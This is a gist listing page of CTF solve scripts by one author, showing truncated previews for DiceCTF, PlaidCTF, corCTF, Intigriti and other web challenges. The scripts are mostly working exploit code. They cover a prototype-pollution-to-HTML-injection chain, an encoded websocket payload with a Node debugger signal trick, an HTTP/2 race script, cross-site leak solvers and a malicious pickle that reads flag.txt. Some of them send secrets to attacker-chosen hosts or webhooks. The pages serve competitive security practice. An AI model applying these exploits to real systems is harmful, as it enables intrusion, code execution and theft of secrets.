Skip to content

Instantly share code, notes, and snippets.

@strellic
strellic / dicepass.js
Created March 30, 2025 21:09
web/dicepass solve script from DiceCTF Quals 2025
(async () => {
document.head.innerHTML += `
<form data-dicepass-username='x'>
<input name=value></input>
<input data-dicepass-password='x'>
</form>
`;
await new Promise(r => setTimeout(r, 1000));
const extensionId = await window.dicepass.extensionId;

repayment-pal solution:

  1. vulnerable version of react-hook-form (v7.51.4) used which allows for prototype pollution (/transfer?message.__proto__.x=1)

  2. pollute defaultProps React gadget to put arbitrary attributes on elements (https://cor.team/posts/redpwnctf-2021-web-challenges/#mdbin:~:text=defaultProps)

  3. pollute __proto__.defaultProps.dangerouslySetInnerHTML.__html to HTML payload, pollute __proto__.cache=only-if-cached to make the fetch fail so the page doesn't change afterwards. now, when we submit the transfer (&autosubmit=1), we see our HTML loaded.

  4. now that we have arbitrary HTML injection, there's still not much we can do. if we could leak the admin's transfer token, we could steal all of their balance. but that page only loads via fetch. but since we have HTML injection, we can try the modernblog exploit path and load another nextjs app inside of the nextjs app, in an iframe srcdoc.

// first send this, then send the whole script
// process.kill(process.ppid, "SIGUSR1")
const fs = require("fs");
const wsPayload = `KCgpPT57dmFyIF9fd2VicGFja19tb2R1bGVzX189ezI5NihlLHQscyl7InVzZSBzdHJpY3QiO2xldCBpPXMoODEpO2kuY3JlYXRlV2ViU29ja2V0U3RyZWFtPXMoMjUpLGkuU2VydmVyPXMoMTQzKSxpLlJlY2VpdmVyPXMoMzE1KSxpLlNlbmRlcj1zKDY3NSksaS5XZWJTb2NrZXQ9aSxpLldlYlNvY2tldFNlcnZlcj1pLlNlcnZlcixlLmV4cG9ydHM9aX0sNzI4KGUsdCxzKXsidXNlIHN0cmljdCI7bGV0e0VNUFRZX0JVRkZFUjppfT1zKDc0Mikscj1CdWZmZXJbU3ltYm9sLnNwZWNpZXNdO2Z1bmN0aW9uIG8oZSx0KXtpZigwPT09ZS5sZW5ndGgpcmV0dXJuIGk7aWYoMT09PWUubGVuZ3RoKXJldHVybiBlWzBdO2xldCBzPUJ1ZmZlci5hbGxvY1Vuc2FmZSh0KSxvPTA7Zm9yKGxldCBuPTA7bjxlLmxlbmd0aDtuKyspe2xldCBhPWVbbl07cy5zZXQoYSxvKSxvKz1hLmxlbmd0aH1yZXR1cm4gbzx0P25ldyByKHMuYnVmZmVyLHMuYnl0ZU9mZnNldCxvKTpzfWZ1bmN0aW9uIG4oZSx0LHMsaSxyKXtmb3IobGV0IG89MDtvPHI7bysrKXNbaStvXT1lW29dXnRbMyZvXX1mdW5jdGlvbiBhKGUsdCl7Zm9yKGxldCBzPTA7czxlLmxlbmd0aDtzKyspZVtzXV49dFszJnNdfWZ1bmN0aW9uIGgoZSl7cmV0dXJuIGUubGVuZ3RoPT09ZS5idWZmZXIuYnl0ZUxlbmd0aD9lLmJ1ZmZlcjplLmJ1Z
@strellic
strellic / h2spam.js
Last active April 14, 2024 21:49
plaid24 werechat sol
// http2 muxer to race reset passcode
const http2 = require('http2');
process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
const clientSession = http2.connect(process.argv[2]);
for (let i = 0; i < 5; i++) {
const r = clientSession.request({
":method": "POST",
":path": "/api/request-reset",
@strellic
strellic / intigriti-0922-sol.html
Created September 26, 2022 06:49
intigriti-0922-sol.html
<html>
<body>
<iframe src="https://challenge-0922.intigriti.io/challenge/index.php" style="width:100vw; height: 100vh"></iframe>
<script>
document.querySelector("iframe").onload = () => {
document.querySelector("iframe").contentWindow.frames[0].location = URL.createObjectURL(new Blob([`
<script>
(async () => {
let alphabet = "0123456789abcdef".split("");
let known = "";
@strellic
strellic / font.js
Created October 24, 2021 18:15
AF2 exploit
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');
function createFont(prefix, name, charsToLigature) {
let font = {
"defs": {
"font": {
@strellic
strellic / pwn.hbs
Last active August 28, 2021 00:32
corCTF 2021 web/styleme solve
<!DOCTYPE html>
<html>
<body onblur="nop()">
<h1>styleme solver</h1>
<input type="text" id="focusforcer" /><br />
<script>
let $ = document.querySelector.bind(document);
let yep = false;
let done = false;
@strellic
strellic / msgme_solve.html
Last active August 28, 2021 00:33
corCTF 2021 web/msgme solution code
<h1>yo</h1>
<script>
/*
modify the webrtc host and ip to somewhere you have a netcat listener.
send this html file to the admin, and then you should receive the secret wrapped in ZZZZZZs
then send !secret <secret> and observe network requests for your flag!
*/
const SITE = "https://msgme.be.ax";
let webrtc_host = "IP";
@strellic
strellic / blogme_solve.html
Last active August 28, 2021 00:33
corCTF 2021 web/blogme solution code
<!DOCTYPE html>
<html>
<body>
<!--
make two pages, one with the meta tag, and the other with the form tag csp bypass
set eval post id to the id of the meta tag
at window.name at the bottom, run stage1 first.
send the post that has the meta redirect to the admin
this sends the file id of the service worker to a webhook, which you can then set as service worker file id.
then, change it to run stage2
import pickle
import base64
import pickletools
# basically, modify the pickle given to us by the challenge to include a note that comes from getattr(open("flag.txt"), "read")()
payload = b'ccopy_reg\n_reconstructor\np0\n(c__main__\nNotes\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVname\np6\nVMy notes\np7\nsVnotes\np8\n(lp9\nc__builtin__\ngetattr\n(c__builtin__\nopen\n(Vflag.txt\ntRp10\nVread\ntR)Rp11\nasb.'
# pickletools.dis(payload)
'''
0: c GLOBAL 'copy_reg _reconstructor'